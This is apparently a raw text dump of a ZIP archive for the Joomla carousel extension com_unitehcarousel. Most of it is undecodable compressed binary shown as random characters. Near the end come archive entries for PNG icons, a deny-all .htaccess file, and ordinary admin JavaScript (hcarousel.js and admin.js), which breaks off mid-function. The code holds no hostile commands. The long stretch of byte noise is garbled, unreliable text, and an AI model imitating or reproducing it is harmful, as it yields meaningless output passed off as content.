"*U>*g@̲B?qrSZd9=EdB)\#sj `G0j !$8EQ-F0j"ax&&ވyۛg0Y nQ2:z8CKJ-Z˕UD GC bܕ"=Q)Œ >`JNO[d7$ۖ1)ORDT bXQ'UDNQ[UC,ě}/a`h"5F>pΨ Fn Vv&-48"g2nY6P`dNV;S&+$2,m<RUklxt/?RjHܩGCt+&g3"KTܥ: /6 N ̰SM'_S꺆ne{DN&)iĹQ9@6+{bw CɈcz1zR詂y"{cTJp(7GkmੲvXuuEݻK&@x]ON!b9`;1 \Ys2d㹔+Fd Y ";O$$#: *U+l(ܽ9PƇTQY@/KJr͘jw;UUSch@.m_ц%S/&#-NPs!|lC,`{SKn7q }zNC~> 4J"nAaيr RJÛPSX?ӈ |UکL IJf"``(y#ށ| hԀ\N\W $ UJR| &REͽEڭ~ںeVO?n}y_w1sM@sec7m|0|OۛϘff?E4zI~Zy/wsd|~ahZCŚ? 6ioCG3T %õ۰'4 /]eYrJ(6 Obw U4%G{bBT3{HJ}iZ"hʑFConO>&T>:,שy'- %O >ӽ玱k,\sSeuUw?v;VF_[ zN tc~1NvPFˮ ;7R@eu=XX&SMcÛvZq YY-y"U (A*EGI帞3a0:ȧ´ըقSJ]IHTqߦ$j_!h40VYztabO e,T2=jt\4鶁G#=UZQncФQWI/qtTDBs0wrPHѹJ6 43Vѓ#*52:}#]hllJ7љAOwjf[Mg< u:}֤鐎QS-Ns^Ajw?1qm}Nq'E !QOܴ"haBR]fMA UNZn=$}5{n\֨LN*[u3ӌh5wc_ԗY !@/m5 \IY|5ܐ?n'Ik AZ5qXC*WN#E߃0-YֻD|tX'ebjt]b'bwe5:]T%AP#h%Ďwsu #I@}!ѸY:<6\ ji~yϴOyM?@HKG̟r;j+uܣlMv (&վ-:x-g+oMrbMH.i>{dg |&1fR7}3b7.@C-4W`~Aufyn#;TN?u`M//XHb)aKj/?4m.?izjHM{l&wJn/þXP[=OJAQ[g(ُjSdcv@C#W<NFDC_Oۡ4'3Hggkn : Gq9t 7`j۫cVƳd1$W\Kbzk'{WVlmMwy=.e5uM-.mėR:8#ƵiX(:?%BH=$* Eh4f,1IUg@қ}܋5j2ۥdep7%9+~ >ڍ޴9}BH>G3b۞R>6; #Oݪ(16kfs+P_><+3`%@q[Ts ٠u3"S+u{$wԸDT-1f3NF PX~BhCL(PwT =EO^c=آFpB*$ڊ5_"tyhKݩ }d-,XA$R<:tԷoqϠlcVb:Phghgg/V@Vz.j\e͜(%JbP|kLlIVocqP ?O'V5C]+hj5S׈Ґ*x^<`Wᪧ6\o]+D#p5YU1n n})V +]`^IБ mnfxx>*En:7ga-z#U/FUTj[Y3ڼg]i}L#/}E)r9]۽ \V+؆ 3?6'qZwgc{cRHІ 5۩R06Ҵѥ{llqn4_O'an X͌ #]rf-j+I ּj\V@f n@Pf&iŤ[hO77P$h,$馷BQ) OH#B>:pM7ѠODB`  Pc+P'֩*m0ڕ@^ݼܱ%uBjNk/,s=9\EmoҴ%|EE{99 Y:K?nbqѶxψ/gt,OW]c2VC^eP5wfΝ8t:'m-ce]ijJ?44tש ƨ ƴQLUhU he5HJ+a}CKG,ni֊s](pW'y< 6(7vz@Hdai}7Xێ9hퟪ1DHFèb+Yo;!}su)i.&" #TUSf`ܜó^P3&g$R+T\.,8.+9d AmYwor6U%)etP%FR`-m(V ޑJ҅8#jHĚtdep41q75M+\$B㦍ZiovdYQ~z&[IhkНEixm>eu̟W;J9V6ޚn=/nX# RYg"ŊvN/^-[0-(ҊΟ37w6Ӌs|L-5INz_ Y4[!Y0h!j"Hy]Aq U-?1-">ԅ>v JM~z}:am!y.QVf# 586#H*MM7tQdWhN($ xcQqdmcRA&vo@|uJ,[)aJ;|{L@ы$*^L]uc4{QynAAXUeKIuhf#y2KgܘdD-wnxXu^{ Nr[5ie~`: 4wE# BQCd[]z)y[A?_Tqؐp=HW)opqV])DM՝. uu61G@*uŚ#uh3(4зupLo]v6Um= 5i܏ROV_rAO4+#X;{H*I% ƚ6PC)SjX5^Z#2Kg+Fޕ:~"MIU4h)ALޖשψҏ>BsN;ibXzkw X3AFdO#W$Y/WLEҠn*=(`N H{#_nb XʉWhI,۷e2pvF~\7^Ofe*)i낀qE@>Z,|ն>]eXԲRMb(^kvQJ7~ZBx"(X$GXIF>uvCJMdVIe_r~"!Q`@'x㕧%I#$uyܴ?KKT #%^YyHW׸ͤӹ%GSNFZ4QTJ7R~cW9DGl$v aK d,,2Q\^2In4QM]^w+B8PX}*GJUj*@xumb7zCTl GO >x+'XfnEE)Ӎ<5J|>~H܄!D jj?iA1ð,́#˨$tP5y#^C!ㅜ,^ZIiSĚS,.bTy"vouڳG{f..'~ЁnFY9mKUp/s-޻q@Ivu= 9Kb+RGƚNJ[d!7EcbLY' =](-AّT~Z7ujPPK+o-bV SJqUj2,1vM5DJHt&omx(e-s"G#zJjP^Xnȃݾp@'&5W#Xg y!ȑ$4٠!V:hl_ncY3f_Y[M+A}qoZg`eFi.."vzo,:x,Gy/݈4+q5̮}q!S'OݱyJ4Fxƥe+Sв[qq cLJu I0%OC ,@pohO:; Z#ja+z(:JWV`Ms[Gˋk" /o_VR#gwN 3yVw/kg/n{{qI O3 cMwmRYbK+sX# %hA tq(\kцY]Mwd|~]bMS U)]Tc]g?%eF4s$TbKۘmѹ1`W_][me^;l+ z>z;UnOuK & ^>Eax~ ̚n/1w pmEPQ֔Q4~X-oQs,|}h ޻YZ[y#G$qF $n)JhIxn@]d2p]4]K@u7qq1{yI;xEpUu3] z#έYONhyc$~+QTx;pV8-5ysǾ%E+8_qOXּ7V3$+ipU!h(թbU,N>kɜ`>d cGe{lP4$e;||on0kYQCsr9+]\K'!]\Yp.} r$aқJj&SP:]|uEӱ; F xǍ)Ou 7?Xۻ|ָKAHHE "SY.mhm6!67BqqoDQ:׷&6V4ⴧ0:k1I,s1]6umKye⦔maڬ1Ǝ|)һ(#!!_spWf_脄~GKgd!=n@=?n2}?o I<]!/L^)Z|ư]Ӂ߾""rQG`4RE| kc.#%b=ȩ5`'6OJp4=5%-( !vѾ>RhHPZGq$Xc#`YVtPW5#H'`)X"-Βua+V:>Zi%Rq"K? 2HOʃY\]$4"Z&,R9U7N9 }2{O%$Ҵ:g[6J.rwП^U%:4\m;9$EC+ ]t?t4?E"A2 q_VZk-ݳwj='Ԃh%'Il'tU.[xeVA_cKؘ+T+W,^hHvMa{SǴKl{ײf6 %.4K FxŔ8sd9{ eպdJ}Ӝ.@b^G3ږ9n x&Vv#j;qv<ŖUP0K0\ZG$439| XL17^)gѻdfaJn:/ %<`VYm?ْ2GI![SUcYn뿚k\v#qkiη5Yy)pՎSknx 44Xd !3lOXvW9Yd[UY @X!`UQIrf)sQmo+H*(<CCᩯj%dna+:Hμv1 4nSc,$*!vj//{=yŏNTܾ,~]6:_>:*|c:\/fBKIneijjhMNi..#ӿŏ]3]FKq=+յ Gc6lO>gG!񯞐?Tѫ{DEB PҼ%+kv]qzJ+zDSƴk.IM݄N-˱3>U:{L4-6+1P%v N_yK綸Ph[ZvP] gyEG-*Ix,񸬶LX\ȦKkc' %(xjܽ^if{$uTj\G R:h)ieXa~E*І۬72ۮK qwV'idgH$ qBNQ;#8+B!q C'4E :EW;-o{j˻,T_ZK2V9%\*,H$Hh8![wIc5`EH j;xrvKȀ#t1\Eas'Dn P5Ʊ.77RUqe ]vBFPLFfWaܙo*'{FȮJcB:+eQBcQ=?VvY3V}2![kk[RAZ ~Z`qC,E2s)aȝe!|YyWz.Wu;@!r: S_>nyhj~ֿgjEiwޱoQ.WiV6(A41p,yAu/r/A0Y k'Mk['a 59)Bƴ5s/A)? u{=EXGZ*#Pn+s^5sp_ruBHJ:gw#M}E%hmy /⮯ C&q"UAUQv`YA@#_vVfqCe~,֗KnCܸxу<7 Qb!oսneieLe (+" jqņYCFX܂4a"yq.u%Ek<oY:jlEic-kIAAj<͎kO,hZ_,c#۰co]:e0|EzF@#`:SR4o-qmPDH4䅃rk~ wg-KȪH2s[j}*K/tUu=nw5׷⧕*?v19x{jc@ ˴ 1POJj\IpbcQ8(lA:%rsi* Ęͫ %yOAC,:@nS7+*GuZ֟= $uj;tRC\WVʨk꫈ "..y\5;tXm=v)5=#i"2IjRJ֣R^_up" $~Zj+]xvnUEN@z~ xcjXf^dERcvm[Lmp(Xfq,|z-.KS}K }[-veϻ5+8piN?@PƻZoRAK-A\0>P(OJma3 Ʈ6[vO,Ւ^rG5e&k4L+_, @$G <ӎ;Y& ;G%H)BIhvx=k"neuAM|uumP mgQ땓G(;5 ;1qxC(Y8ڴտIvZC+qxTqKVX*NTԷk^WE@ eYS96!qrHE {fMENu Ǎ^0An+&̍~vrU1.lvRUH[ T-(SI' ]ZZ:]XTWmcYLfrոW#jjƬ '}vՖ[⼲%'7{H9#krcVV_U)$I *Gq9boF/b?HHϷB#>ZkF^f]ghb6]>ne;F黇r"gK{QcqBZ|%RV<.RDs* 7GZ,>F9vg,ȬuH@WX> 9Y%7assok`/E43/J˷n.7ԓ,xZkX׌mGBvشk @dv~w7\|`eWV5С4y6W[~ZXPԟߢ'ZMR$jaho8`fTfvc@ '`5o(eg1Ekh%`k]ywm^3=-k'IluۦOk&fi,0rrmH Q6c'bN %n{h ,zx4v Kî/F6 ~@_*d \{}?7XHyOP56eɏ&mdO?̒:УTkÔ<u, Ep *)w;ٯ]LFoVő{X|&-omBi1&UM`CA?$qVEsi!_qaB6'e|k{6[VL5ĵQmw2\++E}q_r7j:GB~j+Ei6oҤmlwdjo/!%=F"9II#z?AX1D2TflֲdnH/kA{;bAl,QCp" 0(hFԑ+)xzQN~x4`r`ZGrsl 2a$cbj[tr>WfZ0 Jc;3y}P$RY$&n6>̌7-.MW Zuݹ'9K4. Y҃zoo;,&&e𤷍R8҄FIW] $)^ j%axmI#Z EA"j~@Sƚ(? kpn9458s_h:p\4}iwW6?xU4UIqH$]c~6(}mZ̐ eXؗ&?Ǭ^[$A#i5}vk2ֲn!TKy4YP?(Ajc;ݱ 0ᅪw66gwʑ%muߘp[8\Gss;WQzyKCȭwzt`tݎETr oT91$M<:-qXNm$ Ue:GVT=$i I%FՖ1jʯ-aya728 ]yW:L'12<IgbOyC f-(2Fl-m3R@*5sZ[6-ըbaYdn!Go}q"2-= -ON[n>2 6 ?"(TukU xdGቒk alİB ]M_YOgv#pvDno(eo,Mj~[yk=5s (&^4Z˔(eiPOi L`5!VݩGjYB:loq0T4- 3#R^vGau9.`'udy4I+Ѥ@IN`i3ap%z#^[u\Ĺ;Z8OO:3(y!#]>EdvIu yvAj, QZϙZE <ڕE#߶e$7^(zmnjMQDqe>Zxilj!SJ奞{]!Yw;j(2X|.ZLcRkI(}IdNӽ<.-.;֑Fin}-;|bgnB6k ݽby^nG1hhjquf=j~_)fR*KNAr|MϺ)B %ݷ2eI9HSNJ/Xl@Yx`4(u[nTKw~_时 cۗ2Fjuy\WP8Kɗo}Eꀖ4RCtZ;._oE׶5+ҧǡ .-NpŠf* zuW&-#UZ0K}Cv.hxDf =F MwCg+[լln-HXK=>tԇi%l+e|.im[H}),5 GAS$νFF=jX_<:xXD]J0T5*,Hpw5>>.T~\31;?}/k;FbD$!鬵mb+[s4liES⢞{J!ʫ4{x5k,tFY)8MG-Ā5w6 )#6XmXH=J,lI]n.E)Wb<m3K;\_i9cWc)?]X_1H|G%cm|xnbI8;kvŝk؏6풃,d!Ӿ[ L9 6fS&^݇`MtDRI ܷ9#^Jv`9x,;RVu4U߮0@JJ $;ŅN>zlI|PpyCIƵv_5zM5_&Xbw4f' 5yL(ܒ6ӳ-1 d ;qgxR+Oo ra>4.J}dqgY^EDiNT?-f27Vv=Cu# akHחoɠ v|46T$sOU%fdM^MU~#Bn-ۑWH~?R0%Z_w<[=a4бC/ZVLBdfҤOۨqY%ef)HLNWVJIQf:2¡OM]@nձ:z)}7)a6wlJkLyln /(5&o #]c`/j{l%&ҥbg* $awJ'7M)~} Xvk>c"%xcy h $f4&zOfh{JU%1UpyPe;c짂kwݣt ^j yg$OّA$|)Y(3%G $T3B! zym+nɓa{Sul$K=b~ E=HQ[wq6a :+s Ijj:)@iP:k)l`t +6≢n^4B|賐gv4OM}6\5WdaK}Mol"a9ޞU(E?YMdep {̐ /:RJc֯4 P~CVw}LCIQ&B*q5E>K^̀+r+0u)OS̐2ݲk[hyO=I]_[L2KkcJDŇ\JVWO̳~_ds+bkr #WY9wuln&{~ź\=ŽFѱfFPvDeRC2ukM묎:VxzP2zV2Џ4$n5l g]^}&]:В =GF;Ƚ˪j(އI>\7 q~tj_B\YOzԮig\om ـI$cXcBk֤y93`ݵO;Zj:dO7e{;Wg 9@*ʵ+㥚 E @(7 'Vlr]8AIg9/ǃчčn9.t%ƌSIrnJH? |<OHV>k?x[Kh,dH."BᲒ!-&jzѥ8Wr'*T#^Z1MԠtP,H5$w* hKJTtקƛk .2Iq׶n-wH֣E#b| Y#k^vWd/!f%O]vge㙦n툞VK(AǍP("jfA,VǂrPFyp^]-c{hrPD[I*=,hujR1/hÐMB;LҵrYYeT i5acHu*_&Q+*hEO7W-z)̫ԨM3po= HZci Ä, ,+5ud PlA0uʰWdnU$|>k\Pĕ-yE?v8.kƆz@/< <{q{+aU()w1Wъқ0uݓ,X%Z20oYM޾9 OTT.(Fi#QVhL}.  2I#>Aimh#3 ~ HJրoJC\͜,Dr6,[[% $W(|ڕ%}4CefZTV^,KZ A|)w,_PPY6Qn$W~)ܸ ˴v%4s%H pv #+#SE}H@F#V^; E\Gn FpyI ]1[ G \I}5e=ڗƼ)/5of6,W]2r(EI5n4nUGwKXBs&Z_*-9)tqA 6MgW^X26n$ZD&%k/V tltP7In$*i^;Z2e^To#Mw%^6Gq 0=ffWXx2!y||r} "?㨱܅uumYbRi>jOI.ָH9QMBB 5rdxkCmig4WASM*ORjtP+j:C>ši$D6tI@T5XV\(IdOb)T/>zZ:LswhW/n702~%EL#)TOQ2dE6Eqqcp*=o2hƝxJIeI]=X_dq}L^zC%Ҵ1T`jPևWimXvkXVP_d |<{k[?,6~1_pyw"XByC1:? C=yqŤ8m㐤ަW} ޚ7&pU#V637{_ <68YxľƼz=_\GpoqvqܰaooƤQTWR]^N+BX@4xxdO* 85+ubΚ&)Ԟۨ:5]Es%턉ՕT#r #KyS YKFzK ^!@XuJLp8M .wOŝd1J<R3#H3 ۚ);FI;mg-YrF&[;hMNhБQg甂~RyrA!yoy.2k!ѐ^/ݓvs^ڲVmepīň!5ZdCs3"w2HMMj,rrV]b\W[A#x2ǞW7;r3#(d4>z ln'rc[g ℇ;VuiE b+Xi8( <ƅ U(tɐu#=i1ݰ +.Dku.w+u{(Lۋ4:O3Dӷ4xjj1ck#zI,ު q|M0&͈ ]ȭ+g?eTU"5("H%גH8sR~zDV6$ Tը0 sy;X#gPjK)o7=YGP T FE[C/YkZt7۩0'-%+eīW:1m^*_ DGLWq!Kąe 4AIl5RYmN^ p (g F<9S49LsS42(<<7㯘#W6י63J3V0Ju֍N:缰QkT#W"VDd~HR6;,c_{3O: B9$:'`AQI81-nH!hd;k =SiVHў>XڅX+ӵ1m4)s4$Nh#RzЊwSֳHaQBCv!$U~۵-JUpcqYI qŇʱd#=L@q͆nO"'х>j\cvWZ2UcPΡ*5G o q=ćUSj7[k8u sۆRBgf Ucf, uËg\? \ r*Qȧ>=vsղ6֐x$o2QW=5gq^v:YBN:OP;~͏pabLj%wR,e+%fKJiZ2Йm˰ 6j j7mMh{&N(_ui=N䧒#C ׭u{/޵] xk-oX.U[JHn~U";7yT3sE +C5bȑ,^5Pw!7|EsaT#%eRU Qj&<܁W#:dKW{h'FS 4PTބ嫌pcucrчQ[0< * ILUKt*9t>c4/mRiӥI~BlOaėت Қ+{[[y 4z{|fEt#߱F[@C)V x'ن‡Yě%l\yZ%YsJ_SQuy5ԷS{FA#9jmCgyc^JՕ98e"a֜%P}v*#Hc0ON7CXyeM1PgQ.FӘR8)P|Iծog"ӕ#}o 9겓T}#5sш,`T[)K~em@q1O|rMRbn.r]t3Q#Cf;ǏSFiKowv6 %Yeq~7+~Gq[żn($V۫,B.[cA*NÐ璊Y{!Y.̓C/ٵy$IxDk/_ZEy3YO)%ᄓX![2LTԝXK/y "eRVXo㉧K st>(AZ-xևF[vbǛT5\~_yjKK8FP=Meez.[Mh] ˚$vq; aQO]m_@uQ/*}yh}ʫ>AB7ڶdc}娽֒p>N ӎî1  zv?fjV O zkyDq!Vٷٮ^=*n8W[CE!n P.a`}mn1rB%P*?O]F֢P}!yx몥DOֹ爍ԉ7rɩRN6;# g]Kiawg ҄tt+9YHSto.+-nd]s4۵!<-|7MAVstX3(9?伉hO}IїI "k]\4Rk {F+0 F˅sK޳3,(Oҡ_)a/8u)5wR:Mnuz6e(tdo"g`l)%:#:=|{tḉ•gtb%;#]ÒI%w .qUn[T 5 )Sȫ! u>#W7Y+#P{bA5ƕҦ7,#Rc!xVBsBv_vK}2= wxbv|Gӳ5YI'Xghq BSjXe[8ǔ#Cr/2/#4w-4-TjܐQU]prw^*-Q$DTRs4=ik<:a'2Fm>Dn}Amj.O?YodA#ݶ!"+A00V$s %3>VC]Vխh$DR (A apYmk2s4 #=5nC~k..i&DB'yyA&\1YE2`AY;nYK{Ev͍s=P:/pC c4 $+4L¾RS \} qif@I; `IOaJC"Lk! =O6Z0w?lmҟeoߦ9hѾG?Uf}̵@4$9식؅y;6̭Y.[t\a=z1;QKh`H1 =ZjihF%VXX_Z0lW=+YE<*UD _]5YngWhc}fIpYC0=HXեgeH--@ HC\fYlmɍԐ^]MN Q &ThyXZ[FG)F[3C'mk־:X1dݹ$liJ $ ƅB؟uںsZ~]AXui)Te;~]]]84VH4% @4Z}<64+Cj|N>OY7oud֛WPj w$Vx9ϩc'Z4xϖtfJMȩ Oܢx*FM0;QYxĖvXƚ=?_ZLƎhJ'ҮMNFL׹-&[fck)%1R@WRzivfp"W)r$F`uY~'4}ӯF^_V>HF/oҭJÔJIFSMA4dGijw,+Hrw]K )q<<]sI0R\ #r=k=Žl DC!i1#:3c\uXLzW=)+it co4_c|@5ouHm[OPvvYG$[}EH70KbwY+[vtBe ӫKo( a$QFic* hXmOeA3%iTafbQȴcO5om ,\ҐWSc?k@_-$+Pj|jc߹sz&H W+S lY Ooڻk4"4p_tVQq¨iYďf2sgwCS>Zv_~FI3ǒFǗVvw}GiSH{۵/|69bsw}^um[f=?wvZO7܁"F)] wՕH+2}"9Ul+ƺ{4\{ۛd+. _2I`|{vQ2{`Z^sҁƄ10x|''kYy=yi!zVw/nsb~ӂM՜37J|u-Ӊ~OYEp}Rq`C(> ֝7Z>'qkh%Y2fVb4JCwYRap@P$-AWFM"̾j?7i\bačSYGԁr||5QqHҕDY՜W0.q$ BƤZ<5ܘ ,w!5qW&*$VOEy3(뾰ݼ?w<=үW!Eug&f \e4 I@ZXKQbweAG4~1= W mxR-TԷ-/Y7A^gYL;l%Z_{:*]wM?}Yw5m oV!r$dT)+65˒kOAUx5 G@ D|VRPÜ }u*Og(4#' ]B4 G*(u cYRlsF}QوJsS҆Y SMQ 5WX ؆5׵wmdrRndcR9s4ϨO՞Rܨ%V1r# 7R77qv=Qmqg49^K2Z-oweXZvmnK66#W}A_"kH޲]9&hExeB-d&3ثex3C3n<ǧ5.c fx̑I!'*IM }ƒG~aN }J+P6Fj|Y?݁"ʔI^z-s휧g~gLF12QDF0jX5_KXR;hRoucqwfZdC#GfS^"U*ڽw>`! 4+ȉbORu 18DJx9T>@&̤p3ZXoWL˜ IdΒ SpFYĢ zS(4԰?Ym%Rў@X>wMQZ=; m!qǒU8em^;u=tMd?uG2nCDkjLܗYVkRAAjvnwE~~hZ4q ldߐ'V/}n+.&+X .?1N zwm喝6rO9Xvwkb<5fP@bɘM :#T١a[de*d'Ҩ=%g'[XR#QS:F#ƇK{ӵ윕ص.^IwŞ(e@dt~JXCY [uq A'=i`r6cیIRY} h*+_ }w٦ghtOyd_l@7&#k=۝ۓoli e_qmDz2;FX%O.ECS夳ԶCq $aiJF0[.JTI$@¢ipƠ|1};y^>T&8ɀ [t펲x鰔+ZրӮlr4R1>t>xm4ibv4:{\[E]C*PAzc%f[ 1[*|u-$d٢zZ_'~pٙ-qQnIhx_-\ +.be!ߒ^LhE7 R2mx**xb:%57%Eme$PE@mv:G4PU(ۦJ;s G'.]QI'~o" ״k[Ռ{ʏ2/EFx Tғ::K TkNr>OO)F2KI%ˑ'rMkaaH]ZX?՗z-B;tTP.F,sӌT1 mZ\ŗ[\f`Uk/&;(ZȖDŽNFV>̝%/\2I!r՗ed;-Z__c1¼- s$g&DOMI"V #;S}O$EMNr\/P5ßQ^?"O EJtcr8 AdG9&2caob(kdI45(qR:vkcd&Cb _*:]0dZ 4Mmqш|M5P䐯CJиqk0.Q[G 3Zfse8f6vL-$"7kYUМa&"k8"Tm"|]a>μ沸2VY;X-6wYP#X.\y U*FxL2E,s`΂f5]VG ,w8ⰾۗfn,K +]b#g}FVJJIة L%l"dOq#?=H :Py+ڂxg1 Kʝu c9i_rxam5{ [FPB9Sju\z{x8yzeehB 8k"{$0rutN`7Uf.|HM,b#t@]K+M Mvս0ZYn==;mM+O-z~Ga*u6v+ 9T$* @>)4#:j)\}bio$Sv={e6 ۸yklO2eGæeO4SFC)(v޺Y1{In>UYH]խKŢ{K~|eԘQp\q N, T1V{vpgeZ1Zh]A$cū?:[m<@۠Kb*2&M75o-¢tҹ5 _-S݉ԬU*G7 =exM~8!icO]MwyLx1* FLiEu1g 9gSq1]Dep\P8ȌЍS."+vc%1(C3Vv4)@x=AyU`hѤy}M\bOGC lmժUIܐ_n[羍˧5]ѫefAƻK+T;=ÒMsl(IW-$"Y?ӅnAZF 1L" x#B{{l^hrPT7qvc>XnM/uݧm!S zƬtj-; [Y["B"4Zekт4>_۬U-e~R!z@ڻ藒X˷đ΍ե'HIЊ0x4 ><⇉`.4C+H"M%wZ]ц?e#c#O@ZW54-'B$$) ^@: x*?0顶{߳돆%Y#7LÓDN>/ϳ7BXےד%rRDԒtiY -$y(@:ϑfV mjzq'@jOY\0]BMbƐrtd |h5  9S_SRXVZz1, S_|H9b%TֺZKNDRiQn9ו7urCRܪ$_Ixm^ LAMIFI}yrĢ&*tSX/{b$aB?icRY ;|tPxja=ӄZ 2NZ@W܇A17-evR4KQ oZiT?n!B"rv܂xu}/#+Q{g|.״T"7'A5V?U1`{z ֶ1dkѐz?jș2Ҵ=?fb.<6'iIx %)Z [廊lOdYNW';n;I#Q]Y <5Z7* :WW=ߒLzHGf ktAטi#%3'1bTF?~LC?xvoaPT_[^P.i6k O㾣ot(d?_5!Ou ܊,MOVyn{+$C''m]qSO^ݼ[>Dif[Urf''Y|{W'#8Gæ;w-OsmssġV \EҠ:N6J#~KEANp 0E-%3Ұ UzMݷlnS/4OmQYɡ$TJhrq<_߻@^c#>-$@=D*4Oƃ7o_pNKuQvvtv/qX +|KT2E4z:.$eAn>$<5I.>?d/Jɢң\J?ݨ42Jz)kYߟ7+]Ǟ&sFuKc5ƻW#*A3ostQyE:PWsY(-ZH+ 3@;'p`$d XدFz篩՞ǻ$A/վkns^<Sػ'ֶy8n7 ~ë\ KabJaM`.; ,9`uzHv>:P[oQ֝t!)[ky gB[+Yy}۶wS,=ʩ.Zd2dF#S4k@dK#O(ṕQ 7Yҿnߖe{)R=,SrORr[x٥q:/2 %ݔmHP[y YK~[%JҴԑ]<2[̦;d ⌬6 7+ H !I%NR-?uKn6PN(&+x]QIt$S{vȴH'7`|KrP~Z:0H.Zsw rE{r*abH>`]:PDy]9t`X8*AcPN5A5c, | 5<+]EtHGmĀ5ظ%7,F״r;Zqf1ʁ\!m-}z:Y @B̊HPnxQ\]c-KZgK4rFTlXx]/Z=]ɠUrmE&o;c64vɬyV'oZ^kuNp y[fE)ef&@@L]5'5RmPY;"$P:^_w^K=hq[gdSVWGSQĶ7%*B#%EvE9o[e⣲-3ǃ 4F&1PoP#NWg!_A7"??L ^rK/Dc ݹA%>;5bäa-8=@?vDt|@ZI<~:ESyWj]It@"iHwդZ z^Z PԺ: 5i~KV[pr/njUISkMkl]n"UP]e~.#\2cji" mv3,{lnjb6 唬Ѫf? .HA&x2oS Qd-=٫yg[Ri"drʺ_csQ˃+%x؛[0t&DC+SH-L>t-FU@ xhcjב$Yʡcb ZMIrSըOU c^%;Wsv)-Xn/4|Бu]Ag>;;y A+P_i-qZT+7 ET몦컪üyX)u)?}$,l]v1{KnH c3/ۥc%X|I}^[΢HC;k5 5ӡ *zE;7~{X]Im5sod.W;4spP+O!f _CBC[n:/*GK59 6m!I1 AC/.SޢHMtGjAH3!@TTM/"Hj5min"0iWI-|gd-t v_p԰P(63; E%"~}Jw%;{W{ح%甞1DOmFDE Ý(>~:ֶm1cV)ii#kYr1OݯFVWȅ?n.nG ?t#!_B@zhVJMG D!L:ejS+_͟e| Grd3c|wX )H姱2=PB)'pke$ёJhbUyt޺d'1k^Tom+ ,RMwʛ0,nXӣnZA;Q,I[tBV;ZAk҉'K6N[-hOp[ưB}P쮀/go/$$h$nx>~ _ka'j2z׊F=ՖZxG.'.I㩐մ}Ã^\m @iT|xuty+gqHΔYbGhB۪kY y0\=/]En5 E.D)f.Кy$/=*ӧZ}XHS$QF5o[%<ۈUkUPiӤk?xM6{ ܻ[إ5nZ@Vm(-q A犃微2'ŗLEBI:0u6++ wXȇv`iB7OߨRzPBv^:뫻Ǚmn7kF4;c*DӯWHcJަ O ^E̸ڻ:\p !S HBd@w,NT ׮691P]Jy~ۈY՜KȆTa}>V3~LO$jB׍@%[qGWt ZV&rXbIM)ԦA::sdV ZȏOmD(ytiumڥ~\ƢWG۬YskY(ƼzVk{<(Jr EK^T~4QV>d۩RwЪXBԅ*uBagvvfd3$R}P*wB01C v.U b 45y71cP~ZOjNz9.nE8pzb)Qצ4: -E=$P' y(}L\dA8components/com_unitehcarousel/assets/images/li_hover.pngnuW+APNG  IHDR+/tEXtSoftwareAdobe ImageReadyqe<IDATxKnPm!"V$@."# BX@%Q97aSci)7w&'s%l"OgBjZve7!0skDmɠ~‘o4jݞqM@ (VUZcTU=1(d"i^7:wP TL\2\(Z6vD(wl&? ~VɗփpY]h=__Ŷ/h=`ӂŢ1D Z[Gɩ"Ig*~0 ѾQJf;>? |2?ވAOru5޲gQxm!YuQ2Y^eDE@,=nc( aPMk<;xhnNtD t?:M8ovm,(Mp@eG$OiQ@eM$( &iN(Xa4Auhf$zb۶$FQP4RP,SD1f":_y$ 7`I4iF2^Ip10"(JeZQIE8QRDTݐD,Y׈$Zq?~IENDB`PK@y>\E¡8components/com_unitehcarousel/assets/images/selected.pngnuW+APNG  IHDR+/tEXtSoftwareAdobe ImageReadyqe<CIDATx윿ka%FK&Aph? jDbqpPqAjE Z*⢢CւVA#iMiHm.w^&irIo{$dyKF cb'*-DbQ,އHϗ)G(?R(CCCEO>,:366įPv  m8ίŮiOQ @d$@ ?g`` IKNV-钗P(t[:J< TsGmJnAUNFJ`,v EQ;::|O FX=*nr= p)JwSS=KρNQGt:mc<^]9ׇʐq,h)\A3 7vΫxo/Բff|G Գ#(<%:ʱ8 "W9: 7*5| Xn۶M]wR :f#tB5H 0WRǶ,dlaLd2̋+ jYnyIKBn8K   ԡ#łP@M~>w?!C;IENDB`PK@y>\P5<components/com_unitehcarousel/assets/images/icon-16-star.pngnuW+APNG  IHDRatEXtSoftwareAdobe ImageReadyqe<>IDATxڄSMhAfw6MRӖBBZDj/ЃBւ'{7E\).components/com_unitehcarousel/assets/.htaccessnuW+A Order allow,deny Deny from all PK@y>\yhO1components/com_unitehcarousel/assets/hcarousel.jsnuW+Avar UniteHCarousel = new function(){ var t = this; var containerID = "slider_container"; var container,arrow_left,arrow_right,bullets_container; var caption_back,caption_text; var bulletsRelativeY = ""; /** * show slider view error, hide all the elements */ t.showSliderViewError = function(errorMessage){ jQuery("#config-document").hide(); UniteAdmin.showErrorMessage(errorMessage); } /** * main init of the object */ var init = function(){ UniteAdmin.hideSystemMessageDelay(); } /** * init visual form width */ t.initSliderView = function(){ init(); //init the object - must call } /* ===================== Item View Section =================== */ /** * init item view */ t.initItemView = function(){ //operate on slide image change var obj = document.getElementById("jform_params_image"); obj.addEvent('change',function(){ var urlImage = g_imagePattern; var urlPreview = encodeURI(this.value); urlImage = urlImage.replace("IMAGE_PLACE",urlPreview); jQuery("#image_preview_wrapper").show(); jQuery("#image_preview").show().attr("src",urlImage); }); } /* ===================== Item View End =================== */ } PK@y>\E-components/com_unitehcarousel/assets/admin.jsnuW+Avar UniteAdmin = new function(){ var t = this; var errorMessageID = null; var successMessageID = null; var ajaxLoaderID = null; var ajaxHideButtonID = null; var colorMoveEventFunc = null; /** * debug html on the top of the page (from the master view) */ t.debug = function(html){ jQuery("#div_debug").show().html(html); } /** * output data to console */ t.trace = function(data,clear){ if(clear && clear == true) console.clear(); console.log(data); } /** * show error message */ t.showErrorMessage = function(message){ var html = "
    "+message+"
    "; jQuery("#system-message-container").html(html); } /** * hide error message */ var hideErrorMessage = function(){ jQuery("#system-message-container").html(""); } /** * how success message */ var showSuccessMessage = function(message){ var html = "
    "+message+"
    "; jQuery("#system-message-container").html(html); //hide the message delay if(jQuery('#system-message-success').length) setTimeout("jQuery('#system-message-success').hide('slow')",3000); } /** * init color pickers input */ var initColorPickers = function(){ //appent div to the body var fields = jQuery("input.color-picker"); if(fields.length == 0) return(false); jQuery("body").append(""); var picker = jQuery.farbtastic('#farb_picker'); var wrapper = jQuery("#farbtastic_wrapper"); fields.each(function(){ picker.linkTo(this); }); fields.focus(function(){ wrapper.show(); picker.linkTo(this); var input = jQuery(this); var offset = input.offset(); //set picker position wrapper.css({ "left":offset.left + input.width()+20, "top":offset.top - wrapper.height() + 150 }); }).click(function(){ return(false); //prevent body click }); 